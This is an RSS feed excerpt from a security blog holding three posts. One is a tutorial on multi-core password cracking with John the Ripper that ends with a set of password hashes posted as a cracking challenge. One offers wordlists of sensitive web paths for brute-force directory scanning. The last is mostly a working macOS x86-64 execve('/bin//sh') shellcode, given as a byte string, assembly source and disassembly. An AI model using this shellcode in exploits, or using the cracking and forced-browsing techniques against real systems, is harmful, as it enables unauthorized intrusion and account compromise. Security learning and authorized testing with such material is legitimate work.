<p><strong>John</strong> can break many password hashes, but one of the primary missing feature was the <span style="text-decoration: underline;">CPU multiple core support</span>. But today,&#xA0;<strong><a href="http://www.openwall.com/john/g/john-1.7.9.tar.gz?ref=blog.thireus.com">John the Ripper 1.7.9</a></strong> supports <span style="text-decoration: underline;"><a href="http://openmp.org/wp/?ref=blog.thireus.com">OpenMP</a></span> which brings Multi-Processing. Of course this feature was present</p>]]></description><link>https://blog.thireus.com/crack-passwords-using-john-the-ripper-with-multiple-cpu-cores-openmp/</link><guid isPermaLink="false">61bdd4ddd17dfdc8c2b7b968</guid><category><![CDATA[bruteforce]]></category><category><![CDATA[CPU]]></category><category><![CDATA[John the Ripper]]></category><category><![CDATA[multithread]]></category><category><![CDATA[OpenMP]]></category><category><![CDATA[passwords]]></category><category><![CDATA[shadow]]></category><category><![CDATA[UNIX]]></category><dc:creator><![CDATA[Thireus]]></dc:creator><pubDate>Mon, 05 Dec 2011 01:46:39 GMT</pubDate><media:content url="https://blog.thireus.com/content/images/2019/10/john.gif" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><blockquote>
<img src="https://blog.thireus.com/content/images/2019/10/john.gif" alt="Crack Passwords using John the Ripper with Multiple CPU Cores (OpenMP)"><p><strong><a href="http://www.openwall.com/john/?ref=blog.thireus.com">John the Ripper</a></strong>&#xA0;is a fast and famous password cracker.</p>
</blockquote>
<p><strong>John</strong> can break many password hashes, but one of the primary missing feature was the <span style="text-decoration: underline;">CPU multiple core support</span>. But today,&#xA0;<strong><a href="http://www.openwall.com/john/g/john-1.7.9.tar.gz?ref=blog.thireus.com">John the Ripper 1.7.9</a></strong> supports <span style="text-decoration: underline;"><a href="http://openmp.org/wp/?ref=blog.thireus.com">OpenMP</a></span> which brings Multi-Processing. Of course this feature was present on some patched versions of John, but since the 1.7.9 version it is&#xA0;<span style="text-decoration: underline;">officially&#xA0;integrated</span>.</p>
<p><em>One of the best platform on which you should use John the Ripper is UNIX, I personally prefer running john on Debian x86_64.</em></p>
<h4 id="letstrysomesimplestepstoenableandillustratethenewfeature">Let&#x2019;s try some simple steps to enable and illustrate the new feature</h4>
<ul>
<li>First go to <a href="http://www.openwall.com/john/?ref=blog.thireus.com">http://www.openwall.com/john/</a>, and download the latest version. When I write this article the latest stable release was 1.7.9.</li>
</ul>
<p><code>$ wget <a href="http://www.openwall.com/john/g/john-1.7.9.tar.gz?ref=blog.thireus.com">http://www.openwall.com/john/g/john-1.7.9.tar.gz</a></code><br><br>
<code>$ tar -xvzf john-1.7.9.tar.gz</code></p>
<ul>
<li>Now let&#x2019;s make some changes inside the <strong>Makefile</strong> to enable the use of OpenMP</li>
</ul>
<p><code>$ cd john-1.7.9/src/</code><br><br>
<code>john-1.7.9/src$ nano Makefile</code></p>
<ul>
<li>
<p>Locate the following lines:</p>
<pre><code>  # gcc with OpenMP
  #OMPFLAGS = -fopenmp
  #OMPFLAGS = -fopenmp -msse2
</code></pre>
</li>
<li>
<p>Uncomment OMPFLAGS</p>
<pre><code>  # gcc with OpenMP
  OMPFLAGS = -fopenmp
  OMPFLAGS = -fopenmp -msse2
</code></pre>
</li>
<li>
<p>Before compiling john, make sure you have <strong>gcc</strong> installed! Now, let&#x2019;s compile john.</p>
</li>
</ul>
<p><code>john-1.7.9/src$ make</code></p>
<p><em>This command will list all the systems where john can be compiled on. So, because I&#x2019;m running Debian x86_64, I will choose linux-x86-64.</em></p>
<p><code>john-1.7.9/src$ make linux-x86-64</code></p>
<p><em>John should be located in the ../run folder.</em></p>
<ul>
<li>Let&#x2019;s try John</li>
</ul>
<p><code>john-1.7.9/src$ cd ../run/</code><br><br>
<code>john-1.7.9/run$ ./john --test</code></p>
<p><em>Some benches should appear&#x2026;</em></p>
<pre><code>    Benchmarking: Traditional DES [128/128 BS SSE2-16]... DONE
    Many salts: 7651K c/s real, 3872K c/s virtual
    Only one salt:  6876K c/s real, 3487K c/s virtual
</code></pre>
<p><em>At this stage, John should now use all your CPU cores.</em></p>
<ul>
<li>Now let&#x2019;s do something fun, if you want John to use a certain amount of cores you can adjust it with the environment variable <strong>OMP_NUM_THREADS</strong>:</li>
</ul>
<p><code>john-1.7.9/run$ OMP_NUM_THREADS=1 ./john --test</code></p>
<pre><code>    Benchmarking: Traditional DES [128/128 BS SSE2-16]... DONE
    Many salts: 3982K c/s real, 3990K c/s virtual
    Only one salt:  3770K c/s real, 3770K c/s virtual
</code></pre>
<p><em>As you can see, this bench is twice slower than the previous one. That&apos;s because I requested OpenMP to use only one core on my dual-core CPU.</em></p>
<p>Feel free to adjust the number of cores you want to use with <strong>OMP_NUM_THREADS</strong>.</p>
<h4 id="threeotherquicktipsregardingjohntheripper">Three other quick tips regarding John the Ripper</h4>
<ul>
<li>Restore your previous job in background</li>
</ul>
<p><code>./john --restore &amp;&gt; /dev/null &amp;</code></p>
<ul>
<li>Get the status for the current task</li>
</ul>
<p><code>./john --status</code></p>
<ul>
<li>Display the plain passwords (cracked hashes)</li>
</ul>
<p><code>./john --show hash_file</code></p>
<h4 id="letsseeifyoucancracksomeofmyunixaccounts">Let&#x2019;s see if you can crack some of my UNIX accounts</h4>
<pre><code>baby:$6$rc7o1BLw$Qsl9hnQx7W3C3KDagDkWXAXDx0vDWqwM0BOOeQyotXzCvUs6DeijTp3zBsbjCw4ou2OoJXKf6qNC5pEGEsjZF/
mat:$6$Ajsi.AJy$GdZ3iGYzaUk.NoTkGrSpTotskDyg3FIrBMjya7un.WE4r.P/RdhwRb2e6mmdJWZrLHgNuCc1CUEVtj5l4qVec1
milou:$6$UYj2H.Jq$ChyawjKf3XQVftrVpnDEsFFph1P0pElDv3GuBXXTy2ICbB3oVE/6mhyo3poCD532B03fYMSWgR3D7E.qFyXnk/
superman:$6$8HZYSst1$F/8U5nPD9grY/kaC3jWVZcqdawRsa3t9PKKWSI6MZwR9T2vCs8jxWajx7vYcHtSPe0FbIf8LnMDJESTrmaAx7.
toto:$6$Mzwiuppo$4aSvxLcbDD7hhnWj9vr9js7/VZ5hNhrq/b07PVfMc9Y4SeNMNtHci8XYUTAxF7c3qv3uHqByKzdFPAV3KBBog0
master:$6$Jyv/bLLH$wC1eBBFpPclSwNuS5Lkj1ciqZCtO4d/FQ/8RuWrHRejvAZSn4zSmGDaTYwwgOofytlhwTHD8vE3QuqRYmFdKj0
</code></pre>
<p>Have fun with my friend John!</p>
<h4 id="relatedterms">Related terms:</h4>
<ul>
<li><a href="https://blog.thireus.com/crack-passwords-using-john-the-ripper-with-multiple-cpu-cores-openmp" title="john the ripper multicore">john the ripper multicore</a></li>
<li><a href="https://blog.thireus.com/crack-passwords-using-john-the-ripper-with-multiple-cpu-cores-openmp" title="john the ripper multi core">john the ripper multi core</a></li>
<li><a href="https://blog.thireus.com/crack-passwords-using-john-the-ripper-with-multiple-cpu-cores-openmp" title="john the ripper multithreaded">john the ripper multithreaded</a></li>
<li><a href="https://blog.thireus.com/crack-passwords-using-john-the-ripper-with-multiple-cpu-cores-openmp" title="john the ripper multithread">john the ripper multithread</a></li>
<li><a href="https://blog.thireus.com/crack-passwords-using-john-the-ripper-with-multiple-cpu-cores-openmp" title="john the ripper multiple cores">john the ripper multiple cores</a></li>
<li><a href="https://blog.thireus.com/crack-passwords-using-john-the-ripper-with-multiple-cpu-cores-openmp" title="john openmp">john openmp</a></li>
<li><a href="https://blog.thireus.com/crack-passwords-using-john-the-ripper-with-multiple-cpu-cores-openmp" title="john the ripper openmp">john the ripper openmp</a></li>
<li><a href="https://blog.thireus.com/crack-passwords-using-john-the-ripper-with-multiple-cpu-cores-openmp" title="john the ripper dual core">john the ripper dual core</a></li>
<li><a href="https://blog.thireus.com/crack-passwords-using-john-the-ripper-with-multiple-cpu-cores-openmp" title="jtr openmp">jtr openmp</a></li>
</ul>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Web Common Directories and Filenames - Word Lists Collection]]></title><description><![CDATA[<!--kg-card-begin: markdown--><blockquote>
<p><strong>Current WordLists Release :&#xA0;20111129</strong></p>
</blockquote>
<p>I have created some lists of words based on common web directory and file names. These wordlists are for Web security testing purpose.</p>
<p><span style="text-decoration: underline;">CHANGELOG:</span></p>
<ul>
<li>29/11/11: 20111129 More words, more fun. Updated with some fresh new critical words.</li>
<li>28/11/11: 20111128 Updated and</li></ul>]]></description><link>https://blog.thireus.com/web-common-directories-and-filenames-word-lists-collection/</link><guid isPermaLink="false">61bdd4ddd17dfdc8c2b7b967</guid><category><![CDATA[bruteforce]]></category><category><![CDATA[dictionary]]></category><category><![CDATA[directories]]></category><category><![CDATA[filenames]]></category><category><![CDATA[hidden]]></category><category><![CDATA[occurrence]]></category><category><![CDATA[scan]]></category><category><![CDATA[scanner]]></category><category><![CDATA[sensitive]]></category><category><![CDATA[w3bfukk0r]]></category><category><![CDATA[web]]></category><category><![CDATA[wordlist]]></category><category><![CDATA[words]]></category><dc:creator><![CDATA[Thireus]]></dc:creator><pubDate>Sun, 27 Nov 2011 04:10:38 GMT</pubDate><media:content url="https://blog.thireus.com/content/images/2019/10/capture-decran-2011-11-27-a-03-52-28.png" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><blockquote>
<img src="https://blog.thireus.com/content/images/2019/10/capture-decran-2011-11-27-a-03-52-28.png" alt="Web Common Directories and Filenames - Word Lists Collection"><p><strong>Current WordLists Release :&#xA0;20111129</strong></p>
</blockquote>
<p>I have created some lists of words based on common web directory and file names. These wordlists are for Web security testing purpose.</p>
<p><span style="text-decoration: underline;">CHANGELOG:</span></p>
<ul>
<li>29/11/11: 20111129 More words, more fun. Updated with some fresh new critical words.</li>
<li>28/11/11: 20111128 Updated and cleaned Extra/Crazy words. WordLists are smaller and better.</li>
<li>27/11/11: 20111127 Initial release.</li>
</ul>
<p><a href="https://blog.thireus.com/img/capture-decran-2011-11-27-a-03-52-28.png">![](https://blog.thireus<img src="https://blog.thireus.comhttps://blog.thireus.com/img/capture-decran-2011-11-27-a-03-52-28.png" alt="Web Common Directories and Filenames - Word Lists Collection" title="Capture d&#x2019;&#xE9;cran 2011-11-27 &#xE0; 03.52.28" loading="lazy"></a></p>
<div style="position:relative;left:7vw;top:-25px">
   <div style="position:relative;width:300px;z-index:1">
      <a href="https://thireus.frenchdev.com/SharedFiles/WordLists/WordLists-20111129.zip?ref=blog.thireus.com" target="_blank"><img src="https://blog.thireus.com/img/download_black.png" width="300" alt="Web Common Directories and Filenames - Word Lists Collection"></a>
   </div>
   <div style="position:absolute; top:41px; left:100px; width:180px; height:30px; z-index:2;font-size:50%; word-break: break-all; font-family: Arial; font-variant: normal; line-height:1.2; color:#949494">
736.9 KB - WordLists-20111129.zip
    </div>
</div>
<p>Most of you might already know that hidden does not mean secure nor&#xA0;unreachable. I tried to include a maximum of sensitive filenames and directories in these auto-generated wordlists. I&#x2019;ll try to update these files from time to time.</p>
<p><span style="text-decoration: underline;">Quick description:</span></p>
<ul>
<li>All&#xA0;= Common + Extra + Crazy</li>
<li>Common = Very frequently used words&#xA0;<span style="text-decoration: underline;">ONLY</span></li>
<li>Extra = Some extra words for lucky and patient people&#xA0;(does not contain Common nor Crazy wordlists)</li>
<li>Crazy =&#xA0;Extremely&#xA0;rare words <span style="text-decoration: underline;">ONLY</span>&#xA0;(does not contain Extra nor Common wordlists)</li>
</ul>
<p>I invite you to try the excellent&#xA0;<a href="http://www.ngolde.de/w3bfukk0r.html?ref=blog.thireus.com">w3bfukk0r</a>&#xA0;forced browsing tool from&#xA0;<a href="http://www.ngolde.de/w3bfukk0r.html?ref=blog.thireus.com">http://www.ngolde.de/w3bfukk0r.html</a>.</p>
<blockquote>
<p>w3bfukk0r &#x2013; scan webservers for hidden directories (forced browsing)</p>
<p>w3bfukk0r is a forced browsing tool, it basically scans webservers (HTTP/HTTPS) for a directory by using HTTP HEAD command and brute force mechanism based on a word list.</p>
</blockquote>
<p>Have fun my friends!</p>
<h4 id="relatedterms">Related terms:</h4>
<ul>
<li><a href="https://blog.thireus.com/web-common-directories-and-filenames-word-lists-collection" title="common directory names">common directory names</a></li>
<li><a href="https://blog.thireus.com/web-common-directories-and-filenames-word-lists-collection" title="common directories">common directories</a></li>
<li><a href="https://blog.thireus.com/web-common-directories-and-filenames-word-lists-collection" title="directory wordlist">directory wordlist</a></li>
<li><a href="https://blog.thireus.com/web-common-directories-and-filenames-word-lists-collection" title="common web directories">common web directories</a></li>
<li><a href="https://blog.thireus.com/web-common-directories-and-filenames-word-lists-collection" title="filenames zip wordlist">filenames zip wordlist</a></li>
</ul>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[execve("/bin//sh", ["/bin//sh"], NULL) - MacOS mach-o-x86-64]]></title><description><![CDATA[<!--kg-card-begin: markdown--><table align="center" border="0" cellpadding="0" cellspacing="2" width="100%"><tbody><tr><td valign="top" width="70%"><fieldset><legend>Shellcode &#x2013; Details</legend><table border="0" cellpadding="0" cellspacing="3" width="100%"><tbody><tr><td width="200px">System call(s):</td><td>execve(&#x201C;/bin//sh&#x201D;, [&#x201C;/bin//sh&#x201D;], NULL)</td></tr><tr><td width="200px">Size (char):</td><td>35</td></tr><tr><td width="200px">Shellcode:</td><td><code>\x48\x31\xd2\x48\xc7\xc0\xf6\xff\xff\x01\x48\x83\xc0\x45<wbr>\x5f\x52\x57\x48\x89\xe6\x0f\x05\xe8\xe5\xff\xff\xff\x2f<wbr>\x62\x69\</code></td></tr></tbody></table></fieldset></td></tr></tbody></table>]]></description><link>https://blog.thireus.com/execvebinsh-binsh-null-macos-mach-o-x86-64/</link><guid isPermaLink="false">61bdd4ddd17dfdc8c2b7b965</guid><category><![CDATA[asm]]></category><category><![CDATA[execve]]></category><category><![CDATA[intel]]></category><category><![CDATA[osx]]></category><category><![CDATA[shell]]></category><category><![CDATA[shellcode]]></category><category><![CDATA[x86_64]]></category><dc:creator><![CDATA[Thireus]]></dc:creator><pubDate>Wed, 09 Nov 2011 04:08:17 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><table align="center" border="0" cellpadding="0" cellspacing="2" width="100%"><tbody><tr><td valign="top" width="70%"><fieldset><legend>Shellcode &#x2013; Details</legend><table border="0" cellpadding="0" cellspacing="3" width="100%"><tbody><tr><td width="200px">System call(s):</td><td>execve(&#x201C;/bin//sh&#x201D;, [&#x201C;/bin//sh&#x201D;], NULL)</td></tr><tr><td width="200px">Size (char):</td><td>35</td></tr><tr><td width="200px">Shellcode:</td><td><code>\x48\x31\xd2\x48\xc7\xc0\xf6\xff\xff\x01\x48\x83\xc0\x45<wbr>\x5f\x52\x57\x48\x89\xe6\x0f\x05\xe8\xe5\xff\xff\xff\x2f<wbr>\x62\x69\x6e\x2f\x2f\x73\x68</code></td></tr></tbody></table></fieldset><fieldset><legend>Architecture</legend><table border="0" cellpadding="0" cellspacing="3" width="100%"><tbody><tr><td width="200px">CPU maker:</td><td>Intel</td></tr><tr><td width="200px">Architecture:</td><td>x86-64</td></tr><tr><td width="200px">OS details:</td><td>MacOS</td></tr><tr><td width="200px">CPU details:</td><td>x86_64</td></tr></tbody></table></fieldset></td></tr></tbody></table>
------
    .globl start
<pre><code>1:      xor     %rdx,       %rdx    # rdx = 0
 
        mov $0x1fffff6, %rax    # 0x200003b - 0x45 = 0x1FFFFF6
        add $0x45,      %rax    # System call number 59 for execve
 
        pop     %rdi            # pop ret address of &quot;/bin//sh&quot; in rdi
 
        push    %rdx            # push null
        push    %rdi            # push address of &quot;/bin//sh&quot;
        mov %rsp,       %rsi    # rsi = pointer to stack
 
        syscall             # System call
 
start:  call 1b             # Call 1 backward, ret address will be &quot;/bin//sh&quot;
        .ascii &quot;/bin//sh&quot;       # Equivalent to /bin/sh
</code></pre>
<br>
<pre><code>file format mach-o-x86-64
 
Disassembly of section .text:
 
0000000000001fdd :
    1fdd:   48 31 d2                xor    %rdx,%rdx
    1fe0:   48 c7 c0 f6 ff ff 01    mov    $0x1fffff6,%rax
    1fe7:   48 83 c0 45             add    $0x45,%rax
    1feb:   5f                      pop    %rdi
    1fec:   52                      push   %rdx
    1fed:   57                      push   %rdi
    1fee:   48 89 e6                mov    %rsp,%rsi
    1ff1:   0f 05                   syscall 
 
0000000000001ff3 :
    1ff3:   e8 e5 ff ff ff          callq  1fdd
    1ff8:   2f                      (bad)
    1ff9:   62                      (bad)
    1ffa:   69                      .byte 0x69
    1ffb:   6e                      outsb  %ds:(%rsi),(%dx)
    1ffc:   2f                      (bad)
    1ffd:   2f                      (bad)
    1ffe:   73 68                   jae    2068
</code></pre>
<hr>
<h4 id="relatedterms">Related terms:</h4>
<ul>
<li><a href="https://blog.thireus.com/execvebinsh-binsh-null-macos-mach-o-x86-64" title="exec /bin/sh -c">exec /bin/sh -c</a></li>
<li><a href="https://blog.thireus.com/execvebinsh-binsh-null-macos-mach-o-x86-64" title="exec bad address">exec bad address</a></li>
<li><a href="https://blog.thireus.com/execvebinsh-binsh-null-macos-mach-o-x86-64" title="exec hack1">exec hack1</a></li>
<li><a href="https://blog.thireus.com/execvebinsh-binsh-null-macos-mach-o-x86-64" title="execve() bad address">execve() bad address</a></li>
<li><a href="https://blog.thireus.com/execvebinsh-binsh-null-macos-mach-o-x86-64" title="mov rax sys_execve syscall">mov rax sys_execve syscall</a></li>
</ul>
<!--kg-card-end: markdown-->]]></content:encoded></item></channel></rss>